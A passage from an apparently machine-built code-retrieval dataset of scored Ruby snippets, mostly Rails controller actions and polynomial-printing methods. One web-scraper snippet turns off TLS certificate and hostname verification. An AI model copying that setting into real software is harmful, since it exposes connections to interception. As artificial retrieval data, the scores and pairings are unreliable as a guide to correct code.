hairstyle_params\n params.require(:hairstyle).permit(:style, :user_id, :image_url, :price, :salon_adress, :duration, :rating)\n end", "title": "" }, { "docid": "eb4255588820a9ad710158d2b02d0396", "score": "0.52833396", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @themes }\n end\n end", "title": "" }, { "docid": "99c2883fdd4d2ca8499cb3f70aaaa65e", "score": "0.52769125", "text": "def index\n @styles = Style.all\n end", "title": "" }, { "docid": "a2b070cfa6fcf0b30ec949e799e3da6b", "score": "0.52759385", "text": "def index\n @challenges = Challenge.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @challenges }\n end\n end", "title": "" }, { "docid": "b05184576f36a846b09061fba069f04e", "score": "0.52743304", "text": "def index\n @resumes = Resume.all\n render json: @resumes, include: %i[headers educations work_experiences skills]\n end", "title": "" }, { "docid": "d5baff95643c2b6aedaf0d1f072ae761", "score": "0.5272795", "text": "def index\n @rulebooks = Rulebook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rulebooks }\n end\n end", "title": "" }, { "docid": "5a1c14b09adf84edd761a637f60a68d7", "score": "0.52682644", "text": "def index\n @class_styles = ClassStyle.all\n end", "title": "" }, { "docid": "eed6fc8f9a889083336b158df084fa87", "score": "0.52652496", "text": "def index\n @creator = current_user\n @user_tutorials = UserTutorial.includes(:user)\n @langs = [\"CSS\", \"HTML\"]\n end", "title": "" }, { "docid": "c1a101b0f4f6378d117548f6e54be768", "score": "0.5264619", "text": "def show\n @theme = Theme.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render :json => @theme }\n end\n end", "title": "" }, { "docid": "826b334a30798dc960aa0397b0c1a3f5", "score": "0.52513653", "text": "def index\n @api_hellos = Api::Hello.all\n end", "title": "" }, { "docid": "d8178fb97e8b384c8b3e41d04a55d604", "score": "0.5250844", "text": "def index\n @guides = Guide.page(1)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: {:guides => @guides.as_json} }\n end\n end", "title": "" }, { "docid": "967c1e05b3d0af3437c301331c176827", "score": "0.52390563", "text": "def index\n @undergraduate_majors = UndergraduateMajor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @undergraduate_majors }\n end\n end", "title": "" }, { "docid": "ad6c7fa8642ec7e038aa1bdc2b6484bc", "score": "0.5223709", "text": "def coderay_stylesheet_data\n # NOTE use the following two lines to load a built-in theme instead\n # Helpers.require_library 'coderay'\n # ::CodeRay::Encoders[:html]::CSS.new(:default).stylesheet\n @coderay_stylesheet_data ||= ::IO.read(::File.join(STYLESHEETS_DATA_PATH, 'coderay-asciidoctor.css')).chomp\n end", "title": "" }, { "docid": "8913f673373a460f837fcfa6ba0ff354", "score": "0.52194625", "text": "def index\n @whoarewes = Whoarewe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @whoarewes }\n end\n end", "title": "" }, { "docid": "44cc9977af7f233c4b9e9073af783152", "score": "0.52177614", "text": "def index\n @stylesheet = \"admin_menus\"\n @menus = Menu.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @menus }\n end\n end", "title": "" }, { "docid": "d8d4d4fef7308700e632075f5d3fc76e", "score": "0.521756", "text": "def index\n @housing_features = HousingFeature.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @housing_features }\n end\n end", "title": "" }, { "docid": "01cd79abcf128d5c0395386648fde583", "score": "0.52067506", "text": "def new\n @hairstyle = Hairstyle.new\n @hairstyle.count = 0 # value in forum is now initialized\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hairstyle }\n end\n end", "title": "" }, { "docid": "89fd38bfecf50b05678a2007b2f54f51", "score": "0.5206348", "text": "def index\n @threds = Thred.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @threds }\n end\n end", "title": "" }, { "docid": "565f1347654f2deafba160f2f7861b92", "score": "0.5196493", "text": "def index\n @wowolinks = Wowolink.all\n respond_to do |format|\n format.json {\n render :json => @wowolinks, :layout => false\n }\n end\n end", "title": "" }, { "docid": "9d0dd0078d6c6c3439e339de67a5cd25", "score": "0.5195345", "text": "def lws_api_get(path)\n options = {headers: solr_headers}\n response = HTTParty.get(\"#{FlareConfig.lws_api_url}#{path}\", options)\n Rails.logger.info(\"RESPONSE CODE: #{response.code}\")\n if response.code == 200\n result = JSON.parse(response.body)\n else\n nil\n end\n end", "title": "" }, { "docid": "d27070c5604d3daa8a1201f4367d6c07", "score": "0.5194003", "text": "def create\n # @hairstyle = Hairstyle.new(hairstyle_params)\n new_hairstyle = @user.hairstyle.build(hairstyle_params)\n\n respond_to do |format|\n # if @hairstyle.save\n if new_hairstyle.save\n format.html { redirect_to @hairstyle, notice: \"Hairstyle was successfully created.\" }\n format.json { render :show, status: :created, location: @hairstyle }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @hairstyle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "399963ca39679b681f23ab7801f52b8f", "score": "0.5186635", "text": "def index\n @stylesheet = \"front_page\"\n @google_fonts = \"Josefin+Slab|Muli\"\n @title = \"Bakery Market\"\n end", "title": "" }, { "docid": "9e9db2fb8770a41ff6a662d4fa210113", "score": "0.51857555", "text": "def index\n @user_themes = Theme.where(\"user_id = ?\", current_user.id).order(\"created_at\")\n \n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @user_themes }\n end\n end", "title": "" }, { "docid": "f701f84287d0a680ce1b38a72a92cff5", "score": "0.5183409", "text": "def index\n @users = User.where(:alive => true).order(\"nick ASC\")\n @headline = t(:all_users)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @users }\n end\n end", "title": "" }, { "docid": "9ddbcfbc613cb5a318f446e85e1e2b39", "score": "0.5182352", "text": "def index\n @fhir_base_urls = FhirBaseUrl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fhir_base_urls }\n end\n end", "title": "" }, { "docid": "bece589e25858b0756b5b19bf6135e0e", "score": "0.5180588", "text": "def styles_and_scripts\n scripts = []\n styles = []\n categories = []\n\n stylesheet = attr :stylesheet\n stylesdir = attr :stylesdir, ''\n default_style = ::Asciidoctor::DEFAULT_STYLESHEET_KEYS.include? stylesheet\n linkcss = (attr? :linkcss) || safe >= ::Asciidoctor::SafeMode::SECURE\n ss = ::Asciidoctor::Stylesheets.instance\n\n if linkcss\n path = default_style ? ::Asciidoctor::DEFAULT_STYLESHEET_NAME : stylesheet\n styles << { href: [stylesdir, path] }\n elsif default_style\n styles << { text: ss.primary_stylesheet_data }\n else\n styles << { text: read_asset(normalize_system_path(stylesheet, stylesdir), true) }\n end\n\n if attr? :icons, 'font'\n if attr? 'iconfont-remote'\n styles << { href: (attr 'iconfont-cdn', FONT_AWESOME_URI) }\n else\n styles << { href: [stylesdir, %(#{attr 'iconfont-name', 'font-awesome'}.css)] }\n end\n end\n\n if attr? 'stem'\n scripts << { src: MATHJAX_JS_URI }\n scripts << { type: 'text/x-mathjax-config', text: %(MathJax.Hub.Config(#{MATHJAX_CONFIG});) }\n end\n\n case attr 'source-highlighter'\n when 'coderay'\n if (attr 'coderay-css', 'class') == 'class'\n if linkcss\n styles << { href: [stylesdir, ss.coderay_stylesheet_name] }\n else\n styles << { text: ss.coderay_stylesheet_data }\n end\n end\n\n when 'pygments'\n if (attr 'pygments-css', 'class') == 'class'\n if linkcss\n styles << { href: [stylesdir, ss.pygments_stylesheet_name(attr 'pygments-style')] }\n else\n styles << { text: ss.pygments_stylesheet_data(attr 'pygments-style') }\n end\n end\n\n when 'highlightjs'\n hjs_base = attr :highlightjsdir, HIGHLIGHTJS_BASE_URI\n hjs_theme = attr 'highlightjs-theme', DEFAULT_HIGHLIGHTJS_THEME\n\n scripts << { src: [hjs_base, 'highlight.min.js'] }\n scripts << { src: [hjs_base, 'lang/common.min.js'] }\n scripts << { text: 'hljs.initHighlightingOnLoad()' }\n styles << { href: [hjs_base, %(styles/#{hjs_theme}.min.css)] }\n\n when 'prettify'\n prettify_base = attr :prettifydir, PRETTIFY_BASE_URI\n prettify_theme = attr 'prettify-theme', DEFAULT_PRETTIFY_THEME\n\n scripts << { src: [prettify_base, 'prettify.min.js'] }\n scripts << { text: 'document.addEventListener(\"DOMContentLoaded\", prettyPrint)' }\n styles << { href: [prettify_base, %(#{prettify_theme}.min.css)] }\n end\n\n styles.each do |item|\n if item.key?(:text)\n categories << html_tag(:style, {}, item[:text])\n else\n categories << html_tag(:link, rel: 'stylesheet', href: urlize(*item[:href]))\n end\n end\n\n scripts.each do |item|\n if item.key? :text\n categories << html_tag(:script, {type: item[:type]}, item[:text])\n else\n categories << html_tag(:script, type: item[:type], src: urlize(*item[:src]))\n end\n end\n\n categories.join \"\\n\"\n end", "title": "" }, { "docid": "02138d3e46034e371f1491a4f6c2be00", "score": "0.5177805", "text": "def index\n @fashion_styles = FashionStyle.all\n end", "title": "" }, { "docid": "9321ffaeb8bfdc559b14381eabfb2f5d", "score": "0.5174", "text": "def index\n @glossaries = Glossary.order('title')\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @glossaries.to_xml }\n end\n end", "title": "" }, { "docid": "e8c2910dfd54113bfcb9ed82e8a8a765", "score": "0.5163125", "text": "def index\n @themes = Theme.all\n @themes = Theme.includes(:translations).with_locales(I18n.locale).order('theme_translations.name')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @themes }\n end\n end", "title": "" }, { "docid": "40d9f40e8792fb92bf67626123faf051", "score": "0.516201", "text": "def index\n @lesson_learneds = LessonLearned.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lesson_learneds }\n end\n end", "title": "" }, { "docid": "22781667e61364ae949e087d13752926", "score": "0.5161286", "text": "def index\n @homes = Home.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @homes }\n end\n end", "title": "" }, { "docid": "b6847603e3e3e5691e834ec1b0cffd06", "score": "0.51610994", "text": "def index\n @languages = Language.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @languages }\n end\n end", "title": "" }, { "docid": "d5609de866eb00a1361f5ef9b904cd35", "score": "0.51553655", "text": "def index\n @liasons = Liason.all\n end", "title": "" }, { "docid": "4a14ccc3a51e3acaed00dfe4b8f655fc", "score": "0.5154634", "text": "def index\n @title = \"Studies\"\n\n respond_to do |format|\n format.html do\n @my_studies = Study.with_user(current_user.netid)\n end\n format.json do\n render :json => Study.with_user(current_user.netid).to_json\n end\n end\n end", "title": "" }, { "docid": "bab545b84a12fe596484321dd69d3420", "score": "0.5149681", "text": "def index\n @conflict_illnesses = ConflictIllness.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @conflict_illnesses }\n end\n end", "title": "" }, { "docid": "1e7b167052fb3c3bf350125c58696946", "score": "0.514846", "text": "def index\n respond_to do |format|\n format.html\n format.json\n end \n end", "title": "" }, { "docid": "1e7b167052fb3c3bf350125c58696946", "score": "0.5147186", "text": "def index\n respond_to do |format|\n format.html\n format.json\n end \n end", "title": "" }, { "docid": "9de8a61675da55b9a2ca8927e40becf3", "score": "0.51454747", "text": "def index\n @words = Word.order(:word).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @words }\n end\n end", "title": "" }, { "docid": "944a8349c45cd48d07ea671db1d75c60", "score": "0.5145399", "text": "def index\n @garnishes = Garnish.where(\"LOWER(name) like ?\", \"%#{params[:q] ? params[:q].downcase : ''}%\").paginate(:page => params[:page], :per_page => 198).order(:name)\n respond_to do |format|\n format.html\n format.json {render :json => @garnishes.map(&:attributes)}\n end\n end", "title": "" }, { "docid": "0823446e0950db09817e3b620abdff79", "score": "0.5141669", "text": "def new\n @whylearn = Whylearn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @whylearn }\n end\n end", "title": "" }, { "docid": "b047439b902c1e6ded344f7bc6c3ab9e", "score": "0.5138122", "text": "def index\n @high_scores = HighScore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @high_scores }\n end\n end", "title": "" }, { "docid": "4fbb80944ce2ff8db4b8d64bb65d5c81", "score": "0.5137975", "text": "def index\n @sheets = Sheet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sheets }\n end\n end", "title": "" }, { "docid": "3a752db9509ebbb608a5fb51e7e5582a", "score": "0.5135363", "text": "def index\n #@lessons = Lesson.all\n @lessons = @course.lessons.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lessons }\n end\n end", "title": "" }, { "docid": "625f2505fde28b5d5556175518987f84", "score": "0.5134617", "text": "def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end", "title": "" }, { "docid": "41348066b4d1d3881f4c9986854c8bc2", "score": "0.5131055", "text": "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @life_insurances }\n end\n end", "title": "" }, { "docid": "d502d587032976c1e74b8802b0b167db", "score": "0.5130696", "text": "def index\n respond_to do |format|\n format.html\n format.json\n end\n end", "title": "" }, { "docid": "f70f20a0f6f304bfa02c80660e9671de", "score": "0.51282257", "text": "def index\n @idea_statuses = IdeaStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @idea_statuses }\n end\n end", "title": "" }, { "docid": "aac8db3226acb0e19cd9c54084116dce", "score": "0.51200265", "text": "def index\n @user_home = UserHome.find_by_user_id(current_user.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_home.to_json(:include => :layout) }\n end\n end", "title": "" }, { "docid": "cc800ba20581c4d4b00e11afdd379642", "score": "0.5119405", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @rules }\n end\n end", "title": "" }, { "docid": "e985f5aab8a7c80ac2e1de9e3f80b67b", "score": "0.51175904", "text": "def index\n @themes = TemplateTheme.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @themes }\n end\n end", "title": "" }, { "docid": "4af465dc5425253cbf6a598803fb8a51", "score": "0.51163185", "text": "def index\n info = ScheduleProcessor.headway_info\n query = params[:text]\n workspace = params[:enterprise_name] || params[:team_domain]\n user_id = params[:user_id]\n\n if query == 'help'\n result = help_response(info[:routes])\n elsif (data = info[:routes].find { |r| r[:id] == query})\n track_event('slash', \"route/#{query}\", user_id, workspace)\n result = route_response(data)\n elsif query == 'delays'\n track_event('slash', 'delays', user_id, workspace)\n result = delays_response(info[:routes])\n else\n track_event('slash', 'default', user_id, workspace)\n result = default_response(info)\n end\n \n render json: result\n end", "title": "" }, { "docid": "d3e289aef771185fb551862f39f55402", "score": "0.51109874", "text": "def index\n @daily_horoscopes = DailyHoroscope.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @daily_horoscopes }\n end\n end", "title": "" }, { "docid": "8528f1b4376fcbce3dfe40bb846f6b23", "score": "0.510202", "text": "def index\n @vrhighlights = Vrhighlight.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @vrhighlights }\n end\n end", "title": "" }, { "docid": "c661146db8f3371df72fe8422cb13076", "score": "0.5101053", "text": "def index\n @sayings = Saying.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sayings }\n end\n end", "title": "" }, { "docid": "af516b019c990327fd323baf7d7840db", "score": "0.50998", "text": "def index\n @honey_badgers = HoneyBadger.all\n respond_to do |format|\n format.html\n format.json { render json: @honey_badgers }\n end\n end", "title": "" }, { "docid": "1748a8a2fcd09e343b64abb9fe01a779", "score": "0.50993687", "text": "def index\n @hike_stories = HikeStory.all\n @main_header = \"Hike Write-ups\" \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hike_stories }\n end\n end", "title": "" }, { "docid": "10aa8920765bddd9c1f4fa0099de11f0", "score": "0.509496", "text": "def index\n js = cli_val(:js,'jsx')\n cli_val(:css, 'css0', 'css1','css2')\n css = cli_val :css\n js.concat(css).to_yaml\n end", "title": "" }, { "docid": "c5e35c1a192fe151fc1d8ed9012bad61", "score": "0.50885856", "text": "def get_styles_info\n start = Time.now\n\n # open the json file of all cars and models and years\n json = JSON.parse(File.read(@all_cars_file_with_years_overview))\n\n if json.nil?\n puts \"ERROR - could not find json file\"\n exit\n end\n\n hydra = Typhoeus::Hydra.new(max_concurrency: @max_concurrency)\n request = nil\n total_to_download = json.values.map{|x| x['models'].values.map{|y| y['years'].length}}.flatten.inject(0, :+)\n total_left_to_download = json.values.map{|x| x['models'].values.map{|y| y['years'].length}}.flatten.inject(0, :+)\n\n # for each car, model, year - get overview\n json.each do |key_car, car|\n puts \"-----------\"\n puts \"car: #{car['name']}\"\n car['models'].each do |key_model, model|\n puts \"- model: #{model['name']}\"\n model['years'].each do |year|\n year = year.to_s\n\n # only continue if the specs url exists\n if !model['details'][year]['overview']['specs_url_slug'].nil?\n\n model['details'][year]['styles'] = Hash.new\n\n # call the default style page and get all of the styles\n request = Typhoeus::Request.new(\n @specs_url.gsub('{slug}', model['details'][year]['overview']['specs_url_slug']),\n :headers=>{\"User-Agent\" => @user_agent},\n followlocation: true, ssl_verifypeer: false, ssl_verifyhost: 0\n )\n\n request.on_complete do |response|\n # get list of each style\n styles = process_specification_for_styles(response.response_body)\n\n if !styles.nil? && styles.length > 0\n styles.each do |style|\n model['details'][year]['styles'][style] = nil\n\n # if the style is the same as the overview specs url slug\n # then we have already retrieved the page and we can just process it.\n if style == model['details'][year]['overview']['specs_url_slug']\n # process the html\n model['details'][year]['styles'][style] = process_specification_page(response.response_body)\n end\n end\n end\n\n total_left_to_download -= 1\n\n if total_left_to_download % 50 == 0\n puts \"\\n\\n- #{total_left_to_download} style specification files downloaded (out of at #{total_to_download}); time so far = #{((Time.now-start)/60).round(2)} minutes\\n\\n\"\n end\n\n end\n\n hydra.queue(request)\n end\n end\n end\n end\n\n hydra.run\n\n puts \"FINISHED DOWNLOAD DATA!!\"\n\n # save to file\n File.open(@all_cars_file_with_years_overview_styles, 'wb') { |file| file.write(JSON.generate(json)) }\n\n puts \"TOTAL TIME TO DOWNLOAD AND WRITE STYLE SPECIFICATIONS TO FILE = #{((Time.now-start)/60).round(2)} minutes\"\nend", "title": "" } ]
7bb1e081c66ec0b48516c606d4b0a961
Take a coeff and an exponent and return the string representation, ignoring the sign of the coefficient.
[ { "docid": "d0a16521e42d15a7fdcd3d7ee7c45134", "score": "0.8418949", "text": "def term_to_str(coef, exp)\n ret = \"\"\n\n # Show coeff, unless it's 1 or at the right\n coef = coef.abs\n ret = coef.to_s unless coef == 1 && exp > 0\n ret += \"x\" if exp > 0 # x if exponent not 0\n ret += \"^\" + exp.to_s if exp > 1 # ^exponent, if > 1.\n\n return ret\nend", "title": "" } ]
[ { "docid": "34061a4ddecf8e3c439401c1d678f0df", "score": "0.7611728", "text": "def to_s\n output =''\n\n exponent = @coefficients.size-1\n\n @coefficients.each do |coefficient|\n new_term = Polynomial.render_term(coefficient, exponent)\n\n if !new_term.blank? # skip empty terms\n if new_term[0] == '-'\n output += new_term\n else\n if output.size > 0\n output += '+'\n end\n\n output += new_term\n end\n end\n\n exponent -= 1\n end\n\n return output\n end", "title": "" }, { "docid": "bd8820771633113e5ac157d07d6855ec", "score": "0.756612", "text": "def to_s\n tmp = \"\"\n @coeffs.each_with_index do |c,idx|\n if idx == 0 then\n tmp += c.to_s\n elsif idx == 1 then\n tmp += \" + \" + c.to_s + \" * x\"\n else\n tmp += \" + \" + c.to_s + \" * x^\" + idx.to_s\n end\n end\n tmp = \"0\" if tmp.empty?\n return tmp\n end", "title": "" }, { "docid": "5e4a71e2144ec3605aa0b0f22e477a0a", "score": "0.74496734", "text": "def coef_to_str(coef)\n n = coef.length\n (0..n).each do |i|\n continue if coef[i] == 0\n if i.zero?\n s += \"#{coef[i]}\"\n else\n s += \"#{coef[i]} * x**#{i}\"\n end\n end\n return s\n end", "title": "" }, { "docid": "6814b3bca586e238f1df79a4c33c1683", "score": "0.7400905", "text": "def coef_to_str(coef)\n n = coef.length - 1\n s = ''\n (0..n).each { |i| s += coef_to_str_inner(coef, i, s) unless coef[i].zero? }\n s\n end", "title": "" }, { "docid": "fabab4163cc307b9639c03ba9f063815", "score": "0.7294629", "text": "def to_s\n result = \"\"\n if @terms[0].coef < 0\n result += \"-\"\n end\n for i in 0..@terms.size-1\n result += @terms[i].to_s\n if !@terms[i+1].nil?\n if @terms[i+1].coef > 0\n result += \" + \"\n else\n result += \" - \"\n end\n end\n end\n return \"Polynomial(\" + result + \")\"\n end", "title": "" }, { "docid": "24d41c26b2a47ed7c3fe9c13b1e5bc96", "score": "0.7196897", "text": "def polystr(p)\n # Get the exponent of first coefficient, plus 1.\n exp = p.length\n\n # Assign exponents to each term, making pairs of coeff and exponent,\n # Then get rid of the zero terms.\n p = (p.map { |c| exp -= 1; [ c, exp ] }).select { |p| p[0] != 0 }\n\n # If there's nothing left, it's a zero\n return \"0\" if p.empty?\n\n # *** Now p is a non-empty list of [ coef, exponent ] pairs. ***\n\n # Convert the first term, preceded by a \"-\" if it's negative.\n result = (if p[0][0] < 0 then \"-\" else \"\" end) + term_to_str(*p[0])\n\n # Convert the rest of the terms, in each case adding the appropriate\n # + or - separating them. \n for term in p[1...p.length]\n # Add the separator then the rep. of the term.\n result += (if term[0] < 0 then \" - \" else \" + \" end) + \n term_to_str(*term)\n end\n\n return result\nend", "title": "" }, { "docid": "e458ce70640771a9ab55edb10bffcd4d", "score": "0.71684235", "text": "def to_s\n\t\tif @terms.empty? # print 0 for empty polynomial\n\t\t\tresult = \"0\"\n\t\telse\n\t\t\tclean_terms = @terms.reject {|term, coeff| coeff == 0} # clean 0's from strings\n\t\t\tsorted_terms = clean_terms.to_a.sort do |this, other| \n\t\t\t\tif this[0].keys == [\"\"]\n\t\t\t\t\t1\n\t\t\t\telsif other[0].keys == [\"\"]\n\t\t\t\t\t-1\n\t\t\t\telsif this[0].values.max == other[0].values.max\n\t\t\t\t\tthis[0].keys.min <=> other[0].keys.min\n\t\t\t\telse\n\t\t\t\t\tthis[0].values.max <=> other[0].values.max\n\t\t\t\tend\n\t\t\tend\n\t\t\tresult = \"\"\n\t\t\tsorted_terms.each do |term|\n\t\t\t\tterm_list = []\n\t\t\t\t# format string to follow mathematical convention\n\t\t\t\tterm[0].each do |var, exponent|\n\t\t\t\t term_list.push(\"#{var}#{exponent > 1 ? '**'+exponent.to_s : ''}\" )\n\t\t\t\tend\n\t\t\t\tresult += \"#{term[1] > 0 ? '+' : '' }#{if term[1] == 1 then \"\" \n\t\t\t\t\t\t\telsif term_list.empty? or term_list == [''] then term[1] else term[1].to_s+'*' end}#{term_list.sort.join(\"*\")}\"\n\t\t\tend\n\t\tend\n\t\tif result.start_with?(\"+\") then result = result[1..-1] end #trim leading + signs\n\t\treturn \"Polynomial(#{result})\" \n\tend", "title": "" }, { "docid": "390bd0253569924b50629c5041efbcfc", "score": "0.7024263", "text": "def to_s\n if exponent.integer? && exponent.positive?\n \"#{base}^#{exponent}\"\n else\n \"#{base}^(#{exponent})\"\n end\n end", "title": "" }, { "docid": "877b5a9e715191751b80e2b8cfc8d2f1", "score": "0.698499", "text": "def str_res_impl(coeff_res, sgn_array)\n res_size = coeff_res.size\n res_exp = \"\"\n (0..res_size-1).each do |i|\n res_exp += ((coeff_res[i].ceil(3)).to_s+\"*x**\"+(res_size - i - 1).to_s)\n if sgn_array[i+1] != '-'\n res_exp += sgn_array[i+1]\n end\n end\n res_exp\n end", "title": "" }, { "docid": "985bb1be785eda279f7c48ee8f5e8e77", "score": "0.6942614", "text": "def str_res_impl(coeff_res, sgn_array)\n res_size = coeff_res.size\n res_exp = \"\"\n (0..res_size-1).each do |i|\n res_exp += ((coeff_res[i].ceil(3)).to_s+\"*x**\"+(res_size - i - 1).to_s)\n res_exp += sgn_array[i+1] if sgn_array[i+1] != '-'\n end\n res_exp\n end", "title": "" }, { "docid": "d7f01a3a410d4c1d24d9a53d04335fd7", "score": "0.6939296", "text": "def to_s\n result = \"\"\n if @coef.abs != 1 || varCounts.empty?\n result += @coef.abs.to_s + \"*\"\n end\n varCounts.each_key do|x|\n result += x\n if varCounts.fetch(x) > 1\n result += \"**\" + varCounts.fetch(x).to_s\n end\n result += \"*\"\n end\n # remove the extrenuous '*' symbol if there is one\n if result.end_with?(\"*\")\n result = result.chop\n end\n return result\n end", "title": "" }, { "docid": "4782c77f9c93df776b684d826207664f", "score": "0.68579155", "text": "def str_rem_impl(coeff_1)\n c = coeff_1.size\n rem_exp = \"\"\n (0..c-1).each do |i|\n rem_exp += '+' if coeff_1[i] >= 0.0\n rem_exp += ((coeff_1[i].ceil(3)).to_s+\"*x**\"+(c - i - 1).to_s)\n end\n rem_exp[0] = '' if rem_exp[0] == '+'\n rem_exp\n end", "title": "" }, { "docid": "83ed7fc1a284ad679116869b064f6155", "score": "0.6830624", "text": "def str_rem_impl(coeff_1)\n c = coeff_1.size\n rem_exp = \"\"\n (0..c-1).each do |i|\n if coeff_1[i] >= 0.0\n rem_exp += '+'\n end\n rem_exp += ((coeff_1[i].ceil(3)).to_s+\"*x**\"+(c - i - 1).to_s)\n end\n if rem_exp[0] == '+'\n rem_exp[0] = ''\n end\n rem_exp\n end", "title": "" }, { "docid": "6fdf09a201ab3f101e66add129b3fcf1", "score": "0.6534677", "text": "def to_s\n return \"0\" if zero?\n\n coeffs = []\n (taille-1).step(0, -1) do |k|\n next if self[k] == 0 # On saute les 0\n coeffs << \"#{self[k]}\"\n coeffs.last << \"*x\" if k >= 1\n coeffs.last << \"^#{k}\" if k > 1\n end\n coeffs.join(\"+\")\n end", "title": "" }, { "docid": "6dc43525b5bd7c43052f6838bcdccc29", "score": "0.62114555", "text": "def to_s\n @form = \"Polynomial(\"\n\n if self.getTerms != nil\n @form += self.getTerms[0].to_s\n end\n\n (1..self.getTerms.size-1).each { |i| @form += \" + \" + self.getTerms[i].to_s}\n\n @form += \")\"\n\n return @form\n end", "title": "" }, { "docid": "90e44a3a3c6f2d82bf9cb6b71cd5eb82", "score": "0.62040573", "text": "def make_polynomial()\n power = @coeffs.length\n power -= 1\n \n return \"Need at least 2 coefficients.\" if @coeffs.length <= 2\n\n making_poly = \"\"\n @coeffs.each do |x|\n if x == 0\n # do nothing\n elsif x > 0\n making_poly << make_string(x,power,\"+\")\n else\n \tmaking_poly << make_string(x/-1,power,\"-\")\n end\n power -= 1\n end\n\n making_poly = check_first_character(making_poly)\n\n return making_poly\n end", "title": "" }, { "docid": "ebaa2e91ae6622edb2e76cf1115e0787", "score": "0.61026436", "text": "def to_s\n [(factor if factor != 1), prefix.to_s,\n atom.to_s, (exponent if exponent != 1)].compact.join('')\n end", "title": "" }, { "docid": "a8aa4d53e88ac7681f2c255a38e464e8", "score": "0.5863631", "text": "def to_s\n r = \"\"\n (@terms.length-1).downto(0) do |i|\n m = @terms[i]\n next unless m && m != 0\n case m\n when -1\n sign,m = \"-\",nil\n when m < 0\n sign,m = \"-\",\"#{m.abs.to_s}\"\n when 1\n sign,m = \"+\",nil\n else # m > 0\n sign,m = \"+\",\"#{m.abs.to_s}\"\n end\n r += \" #{sign} \" unless r == \"\" && sign == \"+\"\n if i == 0\n r += m if m\n elsif i == 1\n r += \"#{m}*n\" if m\n else\n r += \"n^#{i}\"\n end\n end\n r.strip\n end", "title": "" }, { "docid": "8170c06e269b8d7936b32097f433eb03", "score": "0.5774948", "text": "def\t\treduce_form()\n reduced = \"\"\n @coeff.each do |key, value|\n unless value == 0\n if (value < 0)\n value = MathTools.abs(value)\n reduced += \"- \"\n else\n reduced = reduced + \"+ \" unless reduced.empty?\n end\n reduced += \"#{value} * X^#{key} \"\n end\n end\n reduced += \"= 0\"\n return reduced\n end", "title": "" }, { "docid": "dd3b7b6af468b6b5a497a7ff7afed2e8", "score": "0.57728136", "text": "def to_s\n kets = []\n ket_length = Math.log2(row_size).to_i\n\n (0...row_size).each do |each|\n x = self[each, 0]\n kets << [x, \"|%0*b⟩\" % [ket_length, each]] unless x.zero?\n end\n\n kets.inject('') do |result, each|\n coefficient = if each[0] == 1\n ''\n elsif each[0].constant? || each[0].symbol? || each[0].power? || each[0].function?\n each[0].to_s\n elsif !each[0].product? && each[0].length > 1\n \"(#{each[0]})\"\n elsif each[0].product? && each[0].operand(0) != -1\n each[0].to_s\n elsif each[0].product? && each[0].operand(0) == -1\n each[0].to_s\n end\n\n result += if result.empty?\n \"#{coefficient}#{each[1]}\"\n elsif coefficient.to_s[0] != '-'\n \" + #{coefficient}#{each[1]}\"\n else\n \" - #{coefficient.to_s[1..-1]}#{each[1]}\"\n end\n end\n end", "title": "" }, { "docid": "a43560ec7ad3da9edfe966d762e5a196", "score": "0.5514258", "text": "def to_s\n @form = \"\"\n \n if (self.getCoeff != nil and self.getVar == nil) or self.getCoeff != 1\n @form += self.getCoeff.to_s\n end\n\n if self.getCoeff != nil and self.getCoeff != 1 and self.getVar != nil\n @form += \"*\"\n end\n \n if self.getVar != nil\n (0..self.getVar.size-2).each { |i| @form += self.getVar[i] + \"*\"}\n @form += self.getVar[self.getVar.size-1]\n end\n\n return @form\n end", "title": "" }, { "docid": "bd3eea5db7bdb3f8c165977a113a3762", "score": "0.5485565", "text": "def _to_s\n str = @number.dup\n if @point.nonzero?\n str[ @number.size + @point, 0 ] = '.'\n end\n @sign + str\n end", "title": "" }, { "docid": "496aa500b31996ad67cfb380ca0d5d9d", "score": "0.5436977", "text": "def _to_s\n str = @number.dup\n if @point.nonzero?\n str[@number.size + @point, 0] = '.'\n end\n @sign + str\n end", "title": "" }, { "docid": "b4d1f7774a6ecf0e28984f958f2ba085", "score": "0.5418211", "text": "def to_s\n \"exp(#{@x})\"\n end", 